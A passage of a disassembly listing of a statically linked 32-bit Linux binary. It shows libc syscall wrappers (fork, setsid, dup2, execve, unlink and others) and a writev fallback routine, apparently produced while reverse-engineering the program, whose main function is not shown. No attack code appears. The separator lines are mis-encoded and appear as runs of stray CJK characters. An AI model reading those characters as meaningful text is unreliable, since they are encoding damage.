Attributes: bp-based frame hidden sub_8056E14 proc near ; CODE XREF: vfprintf+152Bp ; vfprintf+2FE3p ... var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] call sub_805E954 test ebx, ebx jl short loc_8056E30 cmp ds:dword_806BBB8, ebx jge short loc_8056E40 loc_8056E30: ; CODE XREF: sub_8056E14+12j push ebx push offset aUnknownErrorD ; "Unknown error %d" push esi call sprintf mov eax, esi jmp short loc_8056E59 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8056E40: ; CODE XREF: sub_8056E14+1Aj mov eax, ds:dword_806AE98[ebx*4] push eax lea eax, [ebx+1] push eax push 1 mov eax, dword_8078F9C push eax call catgets loc_8056E59: ; CODE XREF: sub_8056E14+2Aj lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8056E14 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden __set_errno proc near ; CODE XREF: chdir+17p close+17p ... push ebp mov ebp, esp mov eax, offset __errno mov esp, ebp pop ebp retn __set_errno endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8056E70 proc near ; CODE XREF: sub_804EA0C+2AAp ; sub_8054EC8+31Ep var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push edi push esi push ebx xor esi, esi mov [ebp+var_C], 0 mov ecx, [ebp+arg_8] cmp [ebp+var_C], ecx jnb loc_8057016 mov ebx, [ebp+arg_4] mov eax, ecx and eax, 1Fh cmp [ebp+var_C], ecx jge short loc_8056F12 test eax, eax jz loc_8056F44 cmp eax, 8 jle short loc_8056F12 cmp eax, 10h jle short loc_8056EE2 cmp eax, 19h jge loc_8056F44 mov eax, 8 cmp ecx, 8 ja short loc_8056EC3 mov eax, [ebp+arg_8] loc_8056EC3: ; CODE XREF: sub_8056E70+4Ej push eax push ebx mov edi, [ebp+arg_0] push edi call writev add esp, 0Ch test eax, eax jl loc_8056FF5 add ebx, 40h add esi, 8 add [ebp+var_C], eax loc_8056EE2: ; CODE XREF: sub_8056E70+3Bj mov edx, [ebp+arg_8] sub edx, esi mov eax, 8 cmp edx, 8 ja short loc_8056EF3 mov eax, edx loc_8056EF3: ; CODE XREF: sub_8056E70+7Fj push eax push ebx mov ecx, [ebp+arg_0] push ecx call writev add esp, 0Ch test eax, eax jl loc_8056FF5 add ebx, 40h add esi, 8 add [ebp+var_C], eax loc_8056F12: ; CODE XREF: sub_8056E70+29j ; sub_8056E70+36j mov edx, [ebp+arg_8] sub edx, esi mov eax, 8 cmp edx, 8 ja short loc_8056F23 mov eax, edx loc_8056F23: ; CODE XREF: sub_8056E70+AFj push eax push ebx mov edi, [ebp+arg_0] push edi call writev add esp, 0Ch test eax, eax jl loc_8056FF5 add ebx, 40h add esi, 8 jmp loc_805700A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8056F44: ; CODE XREF: sub_8056E70+2Dj ; sub_8056E70+40j ... mov edx, [ebp+arg_8] sub edx, esi mov eax, 8 cmp edx, 8 ja short loc_8056F55 mov eax, edx loc_8056F55: ; CODE XREF: sub_8056E70+E1j push eax push ebx mov ecx, [ebp+arg_0] push ecx call writev mov edx, eax add esp, 0Ch test edx, edx jl loc_8056FF5 add ebx, 40h lea eax, [esi+8] add [ebp+var_C], edx mov edx, [ebp+arg_8] sub edx, eax mov eax, 8 cmp edx, 8 ja short loc_8056F87 mov eax, edx loc_8056F87: ; CODE XREF: sub_8056E70+113j push eax push ebx mov edi, [ebp+arg_0] push edi call writev mov edx, eax add esp, 0Ch test edx, edx jl short loc_8056FF5 add ebx, 40h lea eax, [esi+10h] add [ebp+var_C], edx mov edx, [ebp+arg_8] sub edx, eax mov eax, 8 cmp edx, 8 ja short loc_8056FB5 mov eax, edx loc_8056FB5: ; CODE XREF: sub_8056E70+141j push eax push ebx mov ecx, [ebp+arg_0] push ecx call writev mov edx, eax add esp, 0Ch test edx, edx jl short loc_8056FF5 add ebx, 40h lea eax, [esi+18h] add [ebp+var_C], edx mov edx, [ebp+arg_8] sub edx, eax mov eax, 8 cmp edx, 8 ja short loc_8056FE3 mov eax, edx loc_8056FE3: ; CODE XREF: sub_8056E70+16Fj push eax push ebx mov edi, [ebp+arg_0] push edi call writev add esp, 0Ch test eax, eax jge short loc_8057004 loc_8056FF5: ; CODE XREF: sub_8056E70+63j ; sub_8056E70+93j ... cmp __errno, 26h jz short loc_8057020 jmp loc_8057128 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8057004: ; CODE XREF: sub_8056E70+183j add ebx, 40h add esi, 20h loc_805700A: ; CODE XREF: sub_8056E70+CFj add [ebp+var_C], eax cmp [ebp+arg_8], esi ja loc_8056F44 loc_8057016: ; CODE XREF: sub_8056E70+18j mov eax, [ebp+var_C] jmp loc_8057128 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8057020: ; CODE XREF: sub_8056E70+18Cj mov __errno, 0 mov [ebp+var_C], 0 xor esi, esi mov ecx, [ebp+arg_8] cmp [ebp+var_C], ecx jnb short loc_80570AC mov eax, ecx and eax, 3 cmp [ebp+var_C], ecx jge short loc_805706C test eax, eax jz short loc_805707C cmp eax, 1 jle short loc_805706C cmp eax, 2 jle short loc_8057061 mov edi, [ebp+var_C] mov ecx, [ebp+arg_4] mov edi, [ecx+edi*8+4] mov [ebp+var_C], edi inc esi loc_8057061: ; CODE XREF: sub_8056E70+1E1j mov ecx, [ebp+arg_4] mov ecx, [ecx+esi*8+4] add [ebp+var_C], ecx inc esi loc_805706C: ; CODE XREF: sub_8056E70+1D3j ; sub_8056E70+1DCj mov edi, [ebp+arg_4] mov edi, [edi+esi*8+4] add [ebp+var_C], edi inc esi cmp [ebp+arg_8], esi jbe short loc_80570AC loc_805707C: ; CODE XREF: sub_8056E70+1D7j ; sub_8056E70+23Aj mov ecx, [ebp+arg_4] mov ecx, [ecx+esi*8+4] add [ebp+var_C], ecx mov edi, [ebp+arg_4] mov edi, [edi+esi*8+0Ch] add [ebp+var_C], edi mov ecx, [ebp+arg_4] mov ecx, [ecx+esi*8+14h] add [ebp+var_C], ecx mov edi, [ebp+arg_4] mov edi, [edi+esi*8+1Ch] add [ebp+var_C], edi add esi, 4 cmp [ebp+arg_8], esi ja short loc_805707C loc_80570AC: ; CODE XREF: sub_8056E70+1C9j ; sub_8056E70+20Aj cmp [ebp+var_C], 0 jnz short loc_80570B8 xor eax, eax jmp short loc_8057128 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80570B8: ; CODE XREF: sub_8056E70+240j mov eax, [ebp+var_C] add eax, 3 and al, 0FCh sub esp, eax mov [ebp+var_4], esp mov ecx, [ebp+var_C] mov [ebp+var_10], ecx mov [ebp+var_8], esp xor esi, esi cmp [ebp+arg_8], esi jbe short loc_8057117 db 8Dh,76h,0 ; lea esi, [esi+0] loc_80570D8: ; CODE XREF: sub_8056E70+2A5j mov ecx, [ebp+var_10] mov edi, [ebp+arg_4] cmp [edi+esi*8+4], ecx jbe short loc_80570EC mov ebx, [ebp+var_10] jmp short loc_80570F3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80570EC: ; CODE XREF: sub_8056E70+272j mov edi, [ebp+arg_4] mov ebx, [edi+esi*8+4] loc_80570F3: ; CODE XREF: sub_8056E70+277j mov ecx, [ebp+arg_4] mov eax, [ecx+esi*8] push ebx push eax mov edi, [ebp+var_8] push edi call memcpy add esp, 0Ch add edi, ebx mov [ebp+var_8], edi sub [ebp+var_10], ebx jz short loc_8057117 inc esi cmp [ebp+arg_8], esi ja short loc_80570D8 loc_8057117: ; CODE XREF: sub_8056E70+263j ; sub_8056E70+29Fj mov ecx, [ebp+var_C] push ecx mov edi, [ebp+var_4] push edi mov ecx, [ebp+arg_0] push ecx call write loc_8057128: ; CODE XREF: sub_8056E70+18Ej ; sub_8056E70+1A9j ... lea esp, [ebp+var_1C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8056E70 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden chdir proc near ; CODE XREF: main+DDp arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov eax, 0Ch mov ebx, [ebp+arg_0] int 80h ; LINUX - sys_chdir mov edx, eax test edx, edx jge short loc_8057158 neg edx push edx call __set_errno pop edx mov [eax], edx mov eax, 0FFFFFFFFh loc_8057158: ; CODE XREF: chdir+12j pop ebx mov esp, ebp pop ebp retn chdir endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden close proc near ; CODE XREF: main+E4p main+EBp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov eax, 6 mov ebx, [ebp+arg_0] int 80h ; LINUX - sys_close mov edx, eax test edx, edx jge short loc_8057184 neg edx push edx call __set_errno pop edx mov [eax], edx mov eax, 0FFFFFFFFh loc_8057184: ; CODE XREF: close+12j pop ebx mov esp, ebp pop ebp retn close endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden dup2 proc near ; CODE XREF: main+919p main+927p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov eax, 3Fh mov ebx, [ebp+arg_0] mov ecx, [ebp+arg_4] int 80h ; LINUX - sys_dup2 mov edx, eax test edx, edx jge short loc_80571B3 neg edx push edx call __set_errno pop edx mov [eax], edx mov eax, 0FFFFFFFFh loc_80571B3: ; CODE XREF: dup2+15j pop ebx mov esp, ebp pop ebp retn dup2 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden execve proc near ; CODE XREF: execl+5Cp system+12Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov eax, 0Bh mov ebx, [ebp+arg_0] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] int 80h ; LINUX - sys_execve mov edx, eax test edx, edx jge short loc_80571E2 neg edx push edx call __set_errno pop edx mov [eax], edx mov eax, 0FFFFFFFFh loc_80571E2: ; CODE XREF: execve+18j pop ebx mov esp, ebp pop ebp retn execve endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden fork proc near ; CODE XREF: main+A1p main+C2p ... push ebp mov ebp, esp mov eax, 2 int 80h ; LINUX - sys_fork mov edx, eax test edx, edx jge short loc_8057208 neg edx push edx call __set_errno pop edx mov [eax], edx mov eax, 0FFFFFFFFh loc_8057208: ; CODE XREF: fork+Ej mov esp, ebp pop ebp retn fork endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden geteuid proc near ; CODE XREF: main+47p push ebp mov ebp, esp mov eax, 31h int 80h ; LINUX - sys_geteuid mov edx, eax test edx, edx jge short loc_805722C neg edx push edx call __set_errno pop edx mov [eax], edx mov eax, 0FFFFFFFFh loc_805722C: ; CODE XREF: geteuid+Ej mov esp, ebp pop ebp retn geteuid endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden getpid proc near ; CODE XREF: res_randomid+11p ; sub_8054EC8+F3p ... push ebp mov ebp, esp mov eax, 14h int 80h ; LINUX - sys_getpid mov edx, eax test edx, edx jge short loc_8057250 neg edx push edx call __set_errno pop edx mov [eax], edx mov eax, 0FFFFFFFFh loc_8057250: ; CODE XREF: getpid+Ej mov esp, ebp pop ebp retn getpid endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden gettimeofday proc near ; CODE XREF: res_randomid+Cp ; sub_8063B04+145p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov eax, 4Eh mov ebx, [ebp+arg_0] mov ecx, [ebp+arg_4] int 80h ; LINUX - sys_gettimeofday mov edx, eax test edx, edx jge short loc_805727B neg edx push edx call __set_errno pop edx mov [eax], edx mov eax, 0FFFFFFFFh loc_805727B: ; CODE XREF: gettimeofday+15j pop ebx mov esp, ebp pop ebp retn gettimeofday endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden ioctl proc near ; CODE XREF: reorder_addrs+76p ; reorder_addrs+F7p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov eax, 36h mov ebx, [ebp+arg_0] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] int 80h ; LINUX - sys_ioctl mov edx, eax test edx, edx jge short loc_80572AA neg edx push edx call __set_errno pop edx mov [eax], edx mov eax, 0FFFFFFFFh loc_80572AA: ; CODE XREF: ioctl+18j pop ebx mov esp, ebp pop ebp retn ioctl endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden kill proc near ; CODE XREF: main+497p main+9D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov eax, 25h mov ebx, [ebp+arg_0] mov ecx, [ebp+arg_4] int 80h ; LINUX - sys_kill mov edx, eax test edx, edx jge short loc_80572D7 neg edx push edx call __set_errno pop edx mov [eax], edx mov eax, 0FFFFFFFFh loc_80572D7: ; CODE XREF: kill+15j pop ebx mov esp, ebp pop ebp retn kill endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden open proc near ; CODE XREF: sub_8054EC8+38Cp ; sub_805A254+A0p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov eax, 5 mov ebx, [ebp+arg_0] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] int 80h ; LINUX - sys_open mov edx, eax test edx, edx jge short loc_8057306 neg edx push edx call __set_errno pop edx mov [eax], edx mov eax, 0FFFFFFFFh loc_8057306: ; CODE XREF: open+18j pop ebx mov esp, ebp pop ebp retn open endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden read proc near ; CODE XREF: sub_804EA0C+312p ; sub_804EA0C+407p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov eax, 3 mov ebx, [ebp+arg_0] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] int 80h ; LINUX - sys_read mov edx, eax test edx, edx jge short loc_8057336 neg edx push edx call __set_errno pop edx mov [eax], edx mov eax, 0FFFFFFFFh loc_8057336: ; CODE XREF: read+18j pop ebx mov esp, ebp pop ebp retn read endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden setsid proc near ; CODE XREF: main+B4p main+46Ep ... push ebp mov ebp, esp mov eax, 42h int 80h ; LINUX - sys_setsid mov edx, eax test edx, edx jge short loc_805735C neg edx push edx call __set_errno pop edx mov [eax], edx mov eax, 0FFFFFFFFh loc_805735C: ; CODE XREF: setsid+Ej mov esp, ebp pop ebp retn setsid endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sigprocmask proc near ; CODE XREF: sleep+31p sleep+101p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov eax, 7Eh mov ebx, [ebp+arg_0] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] int 80h ; LINUX - sys_sigprocmask mov edx, eax test edx, edx jge short loc_805738A neg edx push edx call __set_errno pop edx mov [eax], edx mov eax, 0FFFFFFFFh loc_805738A: ; CODE XREF: sigprocmask+18j pop ebx mov esp, ebp pop ebp retn sigprocmask endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden uname proc near ; CODE XREF: gethostname+19p ; sub_8065C84+19p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov eax, 7Ah mov ebx, [ebp+arg_0] int 80h ; LINUX - sys_newuname mov edx, eax test edx, edx jge short loc_80573B4 neg edx push edx call __set_errno pop edx mov [eax], edx mov eax, 0FFFFFFFFh loc_80573B4: ; CODE XREF: uname+12j pop ebx mov esp, ebp pop ebp retn uname endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden unlink proc near ; CODE XREF: main+5D6p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov eax, 0Ah mov ebx, [ebp+arg_0] int 80h ; LINUX - sys_unlink mov edx, eax test edx, edx jge short loc_80573E0 neg edx push edx call __set_errno pop edx mov [eax], edx mov eax, 0FFFFFFFFh loc_80573E0: ; CODE XREF: unlink+12j pop ebx mov esp, ebp pop ebp retn unlink endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden write proc near ; CODE XREF: sub_8054EC8+341p ; sub_8054EC8+3CEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov eax, 4 mov ebx, [ebp+arg_0] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] int 80h ; LINUX - sys_write mov edx, eax test edx, edx jge short loc_8057412 neg edx push edx call __set_errno pop edx mov [eax], edx mov eax, 0FFFFFFFFh loc_8057412: ; CODE XREF: write+18j pop ebx mov esp, ebp pop ebp retn write endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden alarm proc near ; CODE XREF: sleep+7Bp sleep+9Bp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov eax, 1Bh mov ebx, [ebp+arg_0] int 80h ; LINUX - sys_alarm mov edx, eax test edx, edx jge short loc_805743C neg edx push edx call __set_errno pop edx mov [eax], edx mov eax, 0FFFFFFFFh loc_805743C: ; CODE XREF: alarm+12j pop ebx mov esp, ebp pop ebp retn alarm endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden time proc near ; CODE XREF: main+117p main+2FBp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov eax, 0Dh mov ebx, [ebp+arg_0] int 80h ; LINUX - sys_time mov edx, eax test edx, edx jge short loc_8057468 neg edx push edx call __set_errno pop edx mov [eax], edx mov eax, 0FFFFFFFFh loc_8057468: ; CODE XREF: time+12j pop ebx mov esp, ebp pop ebp retn time endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden writev proc near ; CODE XREF: sub_8056E70+59p ; sub_8056E70+89p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov eax, 92h mov ebx, [ebp+arg_0] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] int 80h ; LINUX - sys_writev mov edx, eax test edx, edx jge short loc_805749A neg edx push edx call __set_errno pop edx mov [eax], edx mov eax, 0FFFFFFFFh loc_805749A: ; CODE XREF: writev+18j pop ebx mov esp, ebp pop ebp retn writev endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden select proc near ; CODE XREF: sub_804EA0C+6DEp ; usleep+40p ... var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp push ebx mov eax, 52h lea ebx, [ebp+arg_0] int 80h ; LINUX - old_select test eax, eax jge short loc_80574BE neg eax mov __errno, eax mov eax, 0FFFFFFFFh loc_80574BE: ; CODE XREF: select+10j mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn select endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sigaction proc near ; CODE XREF: sleep+5Cp sleep+95p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] mov ecx, [ebp+arg_4] test ecx, ecx jz short loc_80574EF test byte ptr [ecx+0Bh], 40h jz short loc_80574E8 mov dword ptr [ecx+0Ch], offset sub_80575A8 jmp short loc_80574EF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80574E8: ; CODE XREF: sigaction+12j mov dword ptr [ecx+0Ch], offset sub_80575B0 loc_80574EF: ; CODE XREF: sigaction+Cj ; sigaction+1Bj mov eax, 43h mov edx, [ebp+arg_8] int 80h ; LINUX - sys_sigaction mov ebx, eax test ebx, ebx jge short loc_8057510 neg ebx mov __errno, ebx mov eax, 0FFFFFFFFh jmp short loc_8057512 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8057510: ; CODE XREF: sigaction+35j xor eax, eax loc_8057512: ; CODE XREF: sigaction+44j mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sigaction endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sigsuspend proc near ; CODE XREF: sleep+A4p sleep+BCp var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp push edi push esi push ebx mov eax, 48h xor ebx, ebx xor ecx, ecx mov edx, [ebp+arg_0] mov edx, [edx] int 80h ; LINUX - sys_sigsuspend mov edi, eax test edi, edi jge short loc_8057548 neg edi mov __errno, edi mov eax, 0FFFFFFFFh jmp short loc_805754A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8057548: ; CODE XREF: sigsuspend+1Aj mov eax, edi loc_805754A: ; CODE XREF: sigsuspend+29j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sigsuspend endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden _exit proc near ; CODE XREF: main+5E0p main+68Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov eax, 1 mov ebx, [ebp+arg_0] int 80h ; LINUX - sys_exit mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn _exit endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden __setfpucw proc near ; CODE XREF: start+37p var_2 = word ptr -2 arg_0 = word ptr 8 push ebp mov ebp, esp sub esp, 4 mov dx, [ebp+arg_0] test dx, dx jnz short loc_8057580 mov edx, 137Fh ; _FPU_DEFAULT loc_8057580: ; CODE XREF: __setfpucw+Dj fnstcw [ebp+var_2] mov ax, [ebp+var_2] and ax, 0F0C0h ; _FPU_RESERVED mov [ebp+var_2], ax mov eax, edx and ax, 0F3Fh mov dx, [ebp+var_2] or ax, dx mov [ebp+var_2], ax 